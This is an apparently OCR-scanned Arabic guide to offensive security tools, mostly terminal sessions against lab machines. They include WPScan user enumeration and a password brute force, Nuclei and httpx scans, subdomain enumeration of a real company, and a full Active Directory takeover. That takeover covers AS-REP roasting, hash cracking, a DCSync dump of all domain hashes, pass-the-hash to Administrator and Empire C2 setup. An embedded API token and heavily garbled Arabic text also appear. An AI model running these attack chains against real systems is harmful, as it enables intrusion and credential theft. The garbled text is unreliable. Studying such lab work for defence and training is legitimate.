:)}JA\:\.AS‘)“Se};A wéwm\ q\qﬁ)a\)ﬂ\qmﬂs\JWordPreSSéyua;é :g.‘AQ dlfu

wpscan --url http://10.49.135.70 --enumerate u,vp --plugins-detection

aggressive -—api-token whlkYmmYBP136GD1qOVR1KjSmiZrqpTA

231l (vp) Al Lyl (U) Cpediiod) daad o Cum o Jolil) masd) Jiay Y1 138 ) 7 s
A g jaall i adll Caal Qlal AP #Uiie aladind ¢d Us L) o3l W (aggressive) o sill aadll g
LS Aaill aladind 3 shad Leli il 3588 72 e (5 5iss WordPress (5.0) e mdd Jlaal oo W ol Laa
sl A ,usT (rockyou.txt)

rcla il

(yaser CyberBookio)-[~]
$ wpscan --url http://10.49.135.70 --enumerate u,vp --plugins-detection aggressive -

AN N N A o F B G
N\ N/ | ___/N___\N/ __I/ " "_\
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WordPress Security Scanner by the WPScan Team

Version 3.8.28
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@ _WPScan_, Qethicalhack3r, Q@erwan_lr, Q@firefart

[i] Updating the Database ...

[i] Update completed.

[+] URL: http://10.49.135.70/ [10.49.135.70]
[+] Started: Sat Dec 27 03:07:55 2025

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)

| Confidence: 1009

[+] robots.txt found: http://10.49.135.70/robots.txt
| Interesting Entries:

| - /wp-admin/

| - /wp-admin/admin-ajax.php

| Found By: Robots Txt (Aggressive Detection)

| Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.49.135.70/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

| References:

| - http://codex.wordpress.org/XML-RPC_Pingback_ API

https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanne

https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/

https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
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- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_acc

[+] WordPress readme found: http://10.49.135.70/readme.html

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100Y%

[+] Upload directory has listing enabled: http://10.49.135.70/wp-content/uploads/

| Found By: Direct Access (Aggressive Detection)

| Confidence: 1009

[+] The external WP-Cron seems to be enabled: http://10.49.135.70/wp-cron.php

| Found By: Direct Access (Aggressive Detection)

| Confidence: 60Y

| References:

- https://www.iplocation.net/defend-wordpress-from-ddos

- https://github.com/wpscanteam/wpscan/issues/1299

(']

(']

(']

Title: WP < 6.3.2 - Subscriber+ Arbitrary Shortcode Execution
Fixed in: 5.0.20
References:
- https://wpscan.com/vulnerability/3615aea0-90aa-4f9a-9792-078a90af7£59

- https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security

Title: WP < 6.3.2 - Contributor+ Comment Disclosure

Fixed in: 5.0.20

References:
- https://wpscan.com/vulnerability/d35b2a3d-9b41-4b4£f-8e87-1b8ccb370b9f
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39999

- https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security

Title: WP < 6.3.2 - Unauthenticated Post Author Email Disclosure

Fixed in: 5.0.20
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| References:

| - https://wpscan.com/vulnerability/19380917-4c27-4095-abf1-eba6f913b441

| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5561

| - https://wpscan.com/blog/email-leak-oracle-vulnerability-addressed-in-wordpr

| - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security

| ['] Title: WordPress < 6.4.3 - Deserialization of Untrusted Data

| Fixed in: 5.0.21

| References:

| - https://wpscan.com/vulnerability/5e9804e5-bbd4-4836-a5f0-b4388cc39225

| - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security

| ['] Title: WordPress < 6.4.3 - Admin+ PHP File Upload

| Fixed in: 5.0.21

| References:

| - https://wpscan.com/vulnerability/a8e12fbe-c70b-4078-9015-cf57a05bdd4a

| - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security

| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API

| Fixed in: 5.0.22

| References:

| - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28

| - https://wordpress.org/news/2024/06/wordpress-6-5-5/

| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
| Fixed in: 5.0.22

| References:

| - https://wpscan.com/vulnerability/7c448f6d4-4531-4757-bff0-be9e3220bbbb
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/

| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block

| Fixed in: 5.0.22
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| References:
| - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c

| - https://wordpress.org/news/2024/06/wordpress-6-5-5/

| [!] Title: WP < 6.8.3 - Author+ DOM Stored XSS
| Fixed in: 5.0.24

| References:

https://wpscan.com/vulnerability/c4616b57-770f-4c40-93£8-29571c80330a

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58674

https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability

https://wordpress.org/news/2025/09/wordpress-6-8-3-release/

| [!] Title: WP < 6.8.3 - Contributor+ Sensitive Data Disclosure
| Fixed in: 5.0.24

| References:

https://wpscan.com/vulnerability/1e2dad30-dd95-4142-903b-4d5c580eaad?2

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58246

https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability

https://wordpress.org/news/2025/09/wordpress-6-8-3-release/

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)

Checking Known Locations - Time: 00:01:40 <

[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:

[+] wp-downgrade

| Location: http://10.49.135.70/wp-content/plugins/wp-downgrade/

| Last Updated: 2023-05-08T20:42:00.000Z
| Readme: http://10.49.135.70/wp-content/plugins/wp-downgrade/readme.txt
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| [!'] The version is out of date, the latest version is 1.2.6

| [!] Directory listing is enabled

| Found By: Known Locations (Aggressive Detection)

| - http://10.49.135.70/wp-content/plugins/wp-downgrade/, status: 200

| [!] 1 vulnerability identified:

| [!] Title: WP Downgrade < 1.2.3 - Admin+ Stored Cross-Site Scripting

| Fixed in: 1.2.3

| References:

| - https://wpscan.com/vulnerability/34a7b3cd-e2b5-4891-ab33-af6a2aleeceb
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1001

| - https://plugins.trac.wordpress.org/changeset/2696091
| Version: 1.2.1 (50% confidence)
| Found By: Readme - ChangelLog Section (Aggressive Detection)

| - http://10.49.135.70/wp-content/plugins/wp-downgrade/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)

Brute Forcing Author IDs - Time: 00:00:00 <

[i] User(s) Identified:

[+] bjoel

| Found By: Wp Json Api (Aggressive Detection)

| - http://10.49.135.70/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:

| Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Login Error Messages (Aggressive Detection)

[+] kwheel
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| Found By: Wp Json Api (Aggressive Detection)

| - http://10.49.135.70/wp-json/wp/v2/users/7per_page=100&page=1
| Confirmed By:

| Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Login Error Messages (Aggressive Detection)

[+] Karen Wheeler

| Found By: Rss Generator (Aggressive Detection)

[+] Billy Joel

| Found By: Rss Generator (Aggressive Detection)

[+] WPScan DB API 0K
| Plan: free
| Requests Done (during the scan): 2

| Requests Remaining: 23

[+] Finished: Sat Dec 27 03:09:44 2025
[+] Requests Done: 7426

[+] Cached Requests: 7

[+] Data Sent: 1.947 MB

[+] Data Received: 24.99 MB

[+] Memory used: 223.895 MB

[+] Elapsed time: 00:01:48

(yaser CyberBookio)-[~]

$ wpscan --url http://10.49.135.70 --enumerate u --passwords /usr/share/wordlists/r

\ A /7 __ N/ _
NN /N 77T 1 ( ®
\\/ N/ /| __/N\___\N/ __I/ 1 "'"_\
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\/ \/ |_l /NN,

WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/

@ _WPScan_, @ethicalhack3r, Qerwan_lr, @firefart

[+] URL: http://10.49.135.70/
[+] Started: Sat Dec 27 03:12:01 2025

[+] Headers

| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).

| [!'] 72 vulnerabilities identified.

[i] User(s) Identified:
[+] bjoel
[+] kwheel

[+] Performing password attack on Xmlrpc against 2 user/s

[SUCCESS] - kwheel / cutiepiel

[!'] Valid Combinations Found:

| Username: kwheel, Password: cutiepiel

[+] Finished: Sat Dec 27 03:14:50 2025

https://wpscan.com :Jsaal
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Jaeles 1.¢

daap Ay sl Qlpkt (asd dlle 4 anaddll e 30l A5 jall Ad Sl g3 Jaeles Jeadl )
Ol 4a) 55 4y 8 pa G ol Craala (3] sall Lindaie 18300 5 4lul ol de ju Led vy Las) GO 35l
Aslal) claulal) & (Hardcoded Scan Logic) culill jasdll (ghaia a5 (uesiiall

2 13 B 5 il 5 Aanad) YAML 4xnay 4 54 (Signatures) gl sill e dalsll aaiei Jaeles 4wl
Caay anade o 55 4US 3l DA 43S ) Bapaa 55 CalSI3laY) Cpans HUATY Aalag ey Al i) Gl o
e e 35S (gl QUSTAAA) (50 edad giall i) 5 allall JS3

«(Request Chaining) il yiall cllhall Judl ac 35 Cua ¢ saiall dalles 8 Tan Gadite ol 2 310Y) et
Aalile 48235 jaill 3 s 5 (e (BN (apadill ALE ¢l yaia  cdpilaiall L g 5l 5 (Regex) kel & il alasial
O geaall A 512V gd (A yall 5 dpail) Lgiapdal T )lai s (False Positives) ddil 3 dulagy) il Julis
il e daalall Lgiils i el Y zUas il (Red Team) seal! Gosdll Gl (CI/CD) 4t bishaa
Aaasdl)

Aaidl) Avaldl)

adiia Y Jans sia | slladll 5 leall (5 giva

Windows, Linux, macOS sl Aadasf
AL TR POA aalil)
MIT License o il g g

Jaeles 1 pailias

A8y yre Gl A e CadSlldiaiade Clad 55 A0Sk aladiuly Cidglue o s pand 1 les Jla
jaeles scan -s /.jaeles/base-signatures/ -u http://10.48.138.62:8080

gl gl Lo iy sl aall o) a0 e Jpaa o a1 130 20
& ((passive-on-success Jic) a5 sl dithae 3 ynar g 4D AEL Cilia gnd Joay o 85 3131 0 58 Lia aa¥)
Al ol e 3 il 385 Al 858 5m 01 8 s

sl il

(yaser CyberBookio)-[~]
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$ jaeles scan -s ~/.jaeles/base-signatures/ -u http://10.48.138.62:8080
Jaeles beta v0.17.1 by @j3ssiejjj
[Vulnerable] [passive-on-success] [Potential] http://10.48.138.62:8080 out/10.48.138.62

(yaser CyberBookio)-[~]

https://github.com/jaeles-project/jaeles :Jwaad

Arachni V.¢

s Aediall s pall el Ganidll llee 8 a5l 200 5 ¢ 10Y) Al Jad Gl (e Arachni Sl aela
e i Cua Al JS5 Y lle 5 (Modular) 4bas S e e Suai Ruby el 4 5S4l daial
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(Single Page Applications saal sl iadcall ciliphi & 5 Cuaall asdll 8 claadl Siel e sas) s Arachni
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sl ey
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eqsﬁné\.ku)h QM\B)L@A\L;}LM

Linux, macOS, Windows i) dalas
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(Arachni Public Source License) hliss v il ¢ 5

Arachni sl pailas

https://github.com/Arachni/arachni :Jseal
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Nuclei A.¢
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:(Automatic Scan) S AL asdll 3 jue aladioly Ciaghue ad se pasd 1 des Jla
nuclei -u http://10.49.158.72 -as

Jiai L Aledll 33000 -as Ll e Automatic Scan b by jball 1a of )« 1Jlal 7 4
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(yaser CyberBookio)-[~]
$ nuclei -u http://10.49.158.72 -as
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/[ N N
A AV A S A A S A A A
/] IN__s IN___/_/\___/_/ v3.6.1

projectdiscovery.io

[INF] Current nuclei version: v3.6.1 (latest)

[INF] Current nuclei-templates version: v10.3.6 (latest)

[INF] New templates added in latest release: 176

[INF] Templates loaded for current scan: 9080

[INF] Executing 9078 signed templates from projectdiscovery/nuclei-templates

[WRN] Loading 2 unsigned templates for scan. Use with caution.

[INF] Targets loaded for current scan: 1

[INF] Automatic scan tech-detect: Templates clustered: 500 (Reduced 474 Requests)
[INF] Executing Automatic scan on 1 target[s]

[phpmyadmin-panel] [http] [info] http://10.49.158.72/phpmyadmin/ ["4.6.6deb5"] [paths
[apache-detect] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"]
[default-apache-test-all] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"
[default-apache2-ubuntu-page] [http] [info] http://10.49.158.72
[waf-detect:apachegeneric] [http] [info] http://10.49.158.72

[openssh-detect] [tcp]l [info] 10.49.158.72:22 ["SSH-2.0-0penSSH_7.6pl1 Ubuntu-4ubuntul
[ssh-auth-methods] [javascript] [info] 10.49.158.72:22 ["["publickey","password"]"]
[INF] Found 10 tags and 7 matches on detection templates on http://10.49.158.72 [wapp
[INF] Executing 1923 templates on http://10.49.158.72

[INF] Using Interactsh Server: oast.pro

[phpmyadmin-panel] [http] [info] http://10.49.158.72/phpmyadmin/ ["4.6.6deb5"] [paths
[apache-detect] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"]
[default-apache2-ubuntu-page] [http] [info] http://10.49.158.72
[default-apache-test-all] [http] [info] http://10.49.158.72 ["Apache/2.4.29 (Ubuntu)"
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[CVE-2023-48795] [javascript] [medium] 10.49.158.72:22 ["Vulnerable to Terrapin"]
[ssh-auth-methods] [javascript] [info] 10.49.158.72:22 ["["publickey","password"]"]
[ssh-password-auth] [javascript] [info] 10.49.158.72:22

[ssh-server-enumeration] [javascript] [info] 10.49.158.72:22 ["SSH-2.0-OpenSSH_7.6p1
[ssh-shal-hmac-algo] [javascript] [info] 10.49.158.72:22

[openssh-detect] [tcp] [info] 10.49.158.72:22 ["SSH-2.0-OpenSSH_7.6pl1 Ubuntu-4ubuntul
[INF] Scan completed in 38.050228383s. 17 matches found.

(yaser CyberBookio)-[~]

https://github.com/projectdiscovery/nuclei :Jseas

httpx 4.¢
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Al il slaa ) Al g Al a2l sl (e GEaill Guial) e AailE and 1 des Jlia

cat targets.txt | httpx -title -sc -td -cl

o L 5l Lgiallad 512Y1 ) targets. txt il (e alaal1 206 5 ey ¥ 138 G 5eY) &l 5 1l 7 sk
Lexdidl il g (-sc) Aall 3a s (<title) daduall ol sie z1 A5 5 jaidall Gl LAY (e de sana aladiul
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(yaser CyberBookio)-[~]

$ cat targets.txt | httpx -title -sc -td -cl

/1 L1/ 7/

/N __ NI/
[
[/ INCIN__/ . ___/_/1_|

/_/
projectdiscovery.io

[INF] Current httpx version v1.7.4 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
http://10.49.158.72 [200] [10918] [Apache2 Ubuntu Default Page: It works] [Apache HTT

http://10.49.158.72/phpmyadmin/ [200] [10536] [phpMyAdmin] [Apache HTTP Server:2.4.29
http://10.49.158.72/blog/ [200] [53942] [Internal - Just another WordPress site] [Apa

(yaser CyberBookio)-[~]

https://github.com/projectdiscovery/httpx :Jsead
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Subfinder :..¢
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(yaser CyberBookio)-[~]

$ subfinder -d tesla.com -all -recursive -o tesla_subs.txt
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SA_ S (O ____ ]/
/S N\ N N/
(_ Y/ 1707 77777207

/ INC_s /o _ S S IN__ N/

projectdiscovery.io

[INF] Current subfinder version v2.6.0 (outdated)
[INF] Loading provider config from /home/yaser/.config/subfinder/provider-config.yaml
[INF] Enumerating subdomains for tesla.com
codeload.github.tesla.com
www.toolbox.tesla.com

serviceapp.tesla.com
media.extgithub.tesla.com
npm.github.tesla.com
citiapisslsandboxv4.tesla.com
vpn3.tesla.com

shop.tesla.com

media.github-fw.tesla.com
fleetview.prd.europe.vn.cloud.tesla.com
developer.tesla.com

tvs.tesla.com
rubygems.github-ap.tesla.com
viewscreen.github-ap.tesla.com
autodiscover.tesla.com
x3-eng.obs.tesla.com
bomO1-gpgwl.tesla.com
image.emails.tesla.com
media.github-ap.tesla.com
fleetview.america.fn.tesla.com

auth.eng.usw.vn.cloud.tesla.com
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inference-staging.bottlerocket.tesla.com
assets.github-it.tesla.com
05.ptr8466.tesla.com
live-data.prd.usw.fn.tesla.com
mobile-links-cdn.prd.vn.cloud.tesla.com

cnvpn.tesla.com

fleetview.prd.usw2.fn.tesla.com
nuget.github-fw.tesla.com
codeload.github-it.tesla.com
acme-sentry-4a.eng.usel.vn.cloud.tesla.com
smt.tesla.com
s3.a.energy.smfl3.tcs.tesla.com
ownerapi-alpha.prd.vn.cloud.tesla.com
resources.tesla.com
marketing.tesla.com

de.tesla.com
tokens-staging.bottlerocket.tesla.com
citiapisslprodvb.tesla.com
sso—dev.tesla.com

vrp-stg.tesla.com

cx-apac.tesla.com
ownerapi-api.prd.usw.vn.cloud.tesla.com
paloalto.tesla.com
studio.courses.tesla.com
tripx.prd.usw.vn.cloud.tesla.com
s3.b.ams15.tcs.tesla.com
render.github.tesla.com
manager.courses.tesla.com

toolbox-beta.tesla.com
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fleetview.europe.fn.tesla.com

[INF] Found 489 subdomains for tesla.com in 19 seconds 621 milliseconds

(yaser CyberBookio)-[~]

https://github.com/projectdiscovery/subfinder :Jseal
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BloodHound 3lal (ailas

ALK 3 plaridl is g dlaxdl) (e ea Active Directory Ay e ALK o gaa bl 24w ‘_,J.As: Jia

bloodhound-python -u 'svc-admin' -p 'management2005' -d 'spookysec.local'
-c All

impacket-GetNPUsers spookysec.local/svc-admin -no-pass

john hash.txt --wordlist=rockyou.txt

smbclient //10.49.182.231/backup -U svc-admin

impacket-secretsdump spookysec.local/backup: 'backup2517860'@10.49.182.231

evil-winrm -i 10.49.182.231 -u Administrator -H 0e03...

JalSia 31 ) gl JU 138 g 1Bl 7 44

lalae) b Ciray Clad) syc-admin s LS| BloodHound alaaiuly <l aasy Gl )
.(AS-REP Roasting) 48:laxll

Al AS e Jeanll John alasinls b i S s Cluall 5S35 Cillay L Y

.Base64 axva: backup e Sy e (g sing Cala 43 ju g SMB A8 jlia ) Jsaall calilal) Leadsia) Y

Sl gan z)30uY DCSYNC asaa Ll ¢(flle cilaSla dley o) Jabia) goll Gl alasiuly ¢
el )55

AN e 5l s 353l (Administrator) s sed) (il Lieasial ol o

JAEGEN

(yaser CyberBookio)-[~/bloodhound]
$ bloodhound-python -u 'svc-admin' -p 'management2005' \
-d 'spookysec.local' \
-dc attacktivedirectory.spookysec.local \
-ns 10.49.182.231 \
-c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)

INFO: Found AD domain: spookysec.local
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INFO: Getting TGT for user

INFO: Connecting to LDAP server: attacktivedirectory.spookysec.local
INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 1 computers

INFO: Connecting to LDAP server: attacktivedirectory.spookysec.local
INFO: Found 18 users

INFO: Found 54 groups

INFO: Found 2 gpos

INFO: Found 3 ous

INFO: Found 19 containers

INFO: Found O trusts

INFO: Starting computer enumeration with 10 workers

INFO: Querying computer: AttacktiveDirectory.spookysec.local

INFO: Done in OOM 118

(yaser CyberBookio)-[~/bloodhound]
$ cat *users.json | jq -r '.datal[].Properties | select(.dontregpreauth ==

SVC-ADMIN@SPOOKYSEC.LOCAL

(yaser CyberBookio)-[~/bloodhound]

$ impacket-GetNPUsers spookysec.local/svc-admin -no-pass -dc-ip 10.49.182.

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for svc-admin

true) | .n

231

$krbbasrep$23$svc-admin@SPOOKYSEC. LOCAL:4631e33£3634780e32d0e0d87e3d5ee8370d9cc044c39

(yaser CyberBookio)-[~/bloodhound]

$ nano hash.txt

(yaser CyberBookio)-[~/bloodhound]

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
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Using default input encoding: UTF-8

Loaded 1 password hash (krbb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4
Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

management2005  ($krbbasrep$23$svc-admin@SPOOKYSEC.LOCAL)

1g 0:00:00:05 DONE (2025-12-03 05:17) 0.1949g/s 1138Kp/s 1138Kc/s 1138KC/s mandivacio
Use the "--show" option to display all of the cracked passwords reliably

Session completed.

(yaser CyberBookio)-[~/bloodhound]
$ smbclient -L //10.49.182.231/ -U svc-admin

Password for [WORKGROUP\svc-admin]:

Sharename Type Comment

ADMIN$ Disk Remote Admin
backup Disk

C$ Disk Default share

IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.49.182.231 failed (Error NT_STATUS_RESOURCE_NAME NOT_FQU

Unable to connect with SMB1 -- no workgroup available

(yaser CyberBookio)-[~/bloodhound]

$ smbclient //10.49.182.231/backup -U svc-admin
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> get backup_credentials.txt

getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.3 KiloBy
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smb: \> exit

(yaser CyberBookio)-[~/bloodhound]

$ cat backup_credentials.txt

YmF ja3VwQHNwb29reXN1Yy5sb2NhbDpiYWNrdXAyNTE30DYw

(yaser CyberBookio)-[~/bloodhound]

$ cat backup_credentials.txt | base64 -d

backup@spookysec.local:backup2517860

(yaser CyberBookio)-[~/bloodhound]

$ impacket-secretsdump spookysec.local/backup: 'backup2517860'@10.49.182.231

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

[*] Dumping Domain Credentials (domain\uid:rid:1lmhash:nthash)

[*] Using

the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcbdfc: :

Guest:501:

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089c0: : :

krbtgt :502:aad3b435b51404ecaad3b435b51404ee: 0e2eb8158c27bed09861033026bedc21: : :

spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.

spookysec.

CyberBook.io

locall\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5£€9353d4b96cc410b62cb7el
local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5£e9353d4b96cc4
local\james:1105:aad3b435b51404eeaad3b435b51404ee: 9448bf6aba63d154eb0c66507
local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f
local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e996541
local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee: cfd70af882d53d758a1612
local\0ri:1109:aad3b435b51404eeaad3b435b51404ee:c930bad9f999305d9c00a874543
locall\robin:1110:aad3b435b51404eeaad3b435b51404ee: 642744a46b9d4f6df£8942d23
local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfabead6b5a302
local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aal
local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2£d2
local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f691
local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135£4b40f1cal
local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b942214972
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ATTACKTIVEDIREC$:1000:2aad3b435b51404eeaad3b435b51404ee:56ddacd67c41dedel10£5d8bc2bad82

[*] Kerberos keys grabbed

Administrator:aes256-cts-hmac-shal-96:713955f08a8654fb8f70afe0e24bb50eed14e53¢c8b2274c

Administrator:aes128-cts-hmac-shal-96:e9077719bc770aff5d8bfc2d54d226ae

Administrator:des-cbc-md5:2079ce0Oebdf189ad

krbtgt:aes256-cts-hmac-shal-96:b52e11789ed6709423£d7276148cfed7deabf189£3234ed0732725

krbtgt:aes128-cts-hmac-shal-96:e7301235ae62dd8884d9b890£38e3902

krbtgt:des-cbc-md5:b94£f97e97fabbfbd

spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.
spookysec.

spookysec.
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local\skidy:aes256-cts-hmac-shal-96:3ad697673edcal2a01d5237f0bee628460f1elc
local\skidy:aes128-cts-hmac-shal-96:484d875e30a678b56856b0fef09e1233
local\skidy:des-cbc-md5:b092a73e3d256b1f
local\breakerofthings:aes256-cts-hmac-shal-96:4c8a03aa7b52505aeef79cecd3cfd
local\breakerofthings:aes128-cts-hmac-shal-96:38a1£7262634601d2df08b3a004da
local\breakerofthings:des-cbc-md5:7a976bbfab86b064
local\james:aes256-cts-hmac-shal-96:1bb2c7fdbecc9d33£303050d77b6bff0e74d018
local\james:aes128-cts-hmac-shal-96:08fead7e79d2b085dac0e95£86c763e6
local\james:des-cbc-md5:dc971f4a91dcebe9

local\optional :aes256-cts-hmac-shal-96:fe0553c1f1fc93f90630b6e27e188522b084
localloptional:aes128-cts-hmac-shal-96:02f4a47a426ba0dc8867b74e90c8d510
local\optional:des-cbc-md5:8c6e2a8a615bd054
local\sherlocksec:aes256-cts-hmac-shal-96:80df417629b0ad286b94cadad65a5589c
local\sherlocksec:aes128-cts-hmac-shal-96:c3db61690554a077946ecdabc7b4dbele
local\sherlocksec:des-cbc-md5:08dcadcbbc3bb594
local\darkstar:aes256-cts-hmac-shal-96:35c78605606a6d63a40ead779f15dbbf6d40
local\darkstar:aes128-cts-hmac-shal-96:461b7d2356eee84b211767941dc893be
local\darkstar:des-cbc-md5:758af4d061381cea
local\Ori:aes256-cts-hmac-shal-96:5534c1b0f98d82219ee4clcc63cfd73a9416f5f6a
local\Ori:aes128-cts-hmac-shal-96:5ee50856b24d48fddfc9da965737a25¢e
local\Ori:des-cbc-md5:1c8£79864654cd4a
local\robin:aes256-cts-hmac-shal-96:8776bd64fcfcf3800df2f958d144ef72473bd89
local\robin:aes128-cts-hmac-shal-96:733bf907e518d2334437eacb9e4033c8
local\robin:des-cbc-md5:89a7c2fe7abb9d64
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spookysec.local\paradox:aes256-cts-hmac-shal-96:64ff474f12aae00c596c1dce0cfc9584358d1
spookysec.local\paradox:aes128-cts-hmac-shal-96:£09a5214e38285327bb9a7fed1db56b8
spookysec.local\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\Muirland:aes256-cts-hmac-shal-96:81db%9a8a29221c5be13333559a554389¢e16a
spookysec.local\Muirland:aes128-cts-hmac-shal-96:2846fc7ba29b36f£f6401781bc90elaaa
spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\horshark:aes256-cts-hmac-shal-96:891e3ae9c420659cafb5a6237120b50f2648
spookysec.local\horshark:aes128-cts-hmac-shal-96:c6£6248b932ffd75103677a15873837c
spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\svc-admin:aes256-cts-hmac-shal-96:effad9b7dd43e1e58db9ac68a4397822bb5eb
spookysec.local\svc-admin:aes128-cts-hmac-shal-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\backup:aes256-cts-hmac-shal-96:23566872a9951102d116224ea4ac8943483bf0
spookysec.local\backup:aes128-cts-hmac-shal-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\backup:des-cbc-md5:d601e9469b2f6489
spookysec.local\a-spooks:aes256-cts-hmac-shal-96:cfd00f7ebd5ec38a5921a408834886f40alf
spookysec.local\a-spooks:aes128-cts-hmac-shal-96:31d65c2f73fb142ddc60e0£3843e2f68
spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4asdce9
ATTACKTIVEDIREC$:aes256-cts-hmac-shal-96:fcacfb5d5c92db042a668c3af01c26f46ddfabcbf687
ATTACKTIVEDIREC$:aes128-cts-hmac-shal-96:8a6e35fba09e5d45dd510c16111979dc
ATTACKTIVEDIREC$:des-cbc-md5:7a2334d062e35104

[*] Cleaning up...

(yaser CyberBookio)-[~/bloodhound]
$ evil-winrm -i 10.49.182.231 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/e
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Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
thm-ad\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> exit

Info: Exiting with code 0

(yaser CyberBookio)-[~/bloodhound]
$

https://github.com/BloodHoundAD/BloodHound :Jsaasl
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Cobalt Jie 4 staad) 531 e Tan Ay 8 p28ise L a3 g Lae Al 5 235 s oS3 da gl P& (e iyl
Ailas 485y (K1 Strike

eJSSA‘;jLM‘BzA t,’}M\EJL@.AS\&}M

Linux, Windows, macOS i) dalasl
JalSIL ilas Al
BSD 3-Clause License o il g
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https://github.com/BloodHoundAD/BloodHound

Empire _ta) pailad

:PowerShell Empire alaaiul ouSe Juail Jusivl 5 (C2) aSaill 320l aala slae) 1 das Jlia
sudo powershell-empire server

sy obial JalSl) Jand) (+5 Jlaayl) cuaall Empire ada Juiciis o s Ll 138 1 Jlal 7

el ba sy
1337 il e 4 s )l Starkiller deal s dai s ccilas gl gl gall Jaans 14igsl) )

gl ) PowerShell s (s« (Stage 1) ¥ s el Ju s 240 (Stager): ?.Ls\ ) Y
(213.156.49.10 (IP:

